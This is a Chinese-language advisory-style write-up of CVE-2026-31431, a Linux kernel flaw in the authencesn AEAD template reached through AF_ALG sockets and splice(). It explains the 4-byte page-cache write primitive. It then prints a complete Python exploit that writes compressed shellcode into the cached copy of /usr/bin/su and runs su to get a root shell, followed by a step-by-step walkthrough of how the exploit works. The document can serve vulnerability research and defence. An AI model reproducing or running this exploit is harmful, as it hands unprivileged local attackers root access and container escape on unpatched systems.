Linux 内核
authencesnAEAD 模板中的一个逻辑错误,允许无特权用户向任何可读文件的页缓存中写入 4 个受控字节。
所提供的 Python 脚本会在内存中破坏
/usr/bin/su,并生成一个 root shell。
CVE-2026-31431 是 Linux 内核加密子系统中的一个漏洞,具体位于 authencesn(扩展序列号 AEAD)模板与 AF_ALG 套接字接口及 splice() 系统调用相结合的部分。
根本原因:authencesn 解密例程将目标分散列表用作临时空间,在合法输出区域之外多写入了 4 个字节。
当 AF_ALG 执行 就地 AEAD 操作,且 splice() 将页缓存页面(例如来自 setuid 二进制文件)作为认证标签提供时,越界写入会直接落在内核对该文件的缓存副本中。
影响:无特权的本地攻击者可以在其可读取的任何文件中覆盖任意 4 字节对齐的位置。损坏仅发生在 页缓存 中;磁盘上的文件保持不变,从而绕过了文件完整性检查。
危害:通过用 shellcode 覆盖 setuid 二进制文件(例如 /usr/bin/su),攻击者可以执行该二进制文件并获得 root shell。由于页缓存与宿主机共享,相同的原语在不同容器中同样有效。
exploi-copyfail.py)该漏洞利用是一个仅 732 字节的 Python 脚本,仅使用标准库(os、socket、zlib)。它适用于任何 Linux 发行版,支持从 2017 年到 2026 年(补丁发布前)的内核版本。
#!/usr/bin/env python3
import os as g, zlib, socket as s
def d(x): return bytes.fromhex(x)
def c(f, t, c):
a = s.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279
v = a.setsockopt
v(h, 1, d('0800010000000010' + '0' * 64))
v(h, 5, None, 4)
u, _ = a.accept()
o = t + 4
i = d('00')
u.sendmsg([b"A" * 4 + c], [(h, 3, i * 4), (h, 2, b'\x10' + i * 19), (h, 4, b'\x08' + i * 3)], 32768)
r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0)
n(r, u.fileno(), o)
try: u.recv(8 + t)
except: 0
f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i < len(e):
c(f, i, e[i:i + 4])
i += 4
g.system("su")
配置: 打开一个绑定到 authencesn(hmac(sha256),cbc(aes)) 的 AF_ALG 套接字,设置一个虚拟密钥并接受请求。
载荷: Shellcode(从十六进制 blob 解压)被分割为 4 字节的片段。
损坏循环: 对于每个片段:
sendmsg() 提供关联数据(AAD)。AAD 的第 4 到第 7 个字节包含要写入的 4 个字节。
splice() 将 /usr/bin/su(目标 setuid 二进制文件)的一部分插入套接字的 TX 分散列表中。偏移量和长度经过精心选择,使认证标签区域位于二进制文件 .text 段内的目标地址处。
recv() 触发 AEAD 解密,authencesn 将 4 字节片段写入 /usr/bin/su 的页缓存。HMAC 校验失败,但写入仍然保留。
执行: 所有片段写入完成后,脚本执行 su。由于缓存版本现在包含 shellcode,su 以 root 权限运行并打开一个 shell。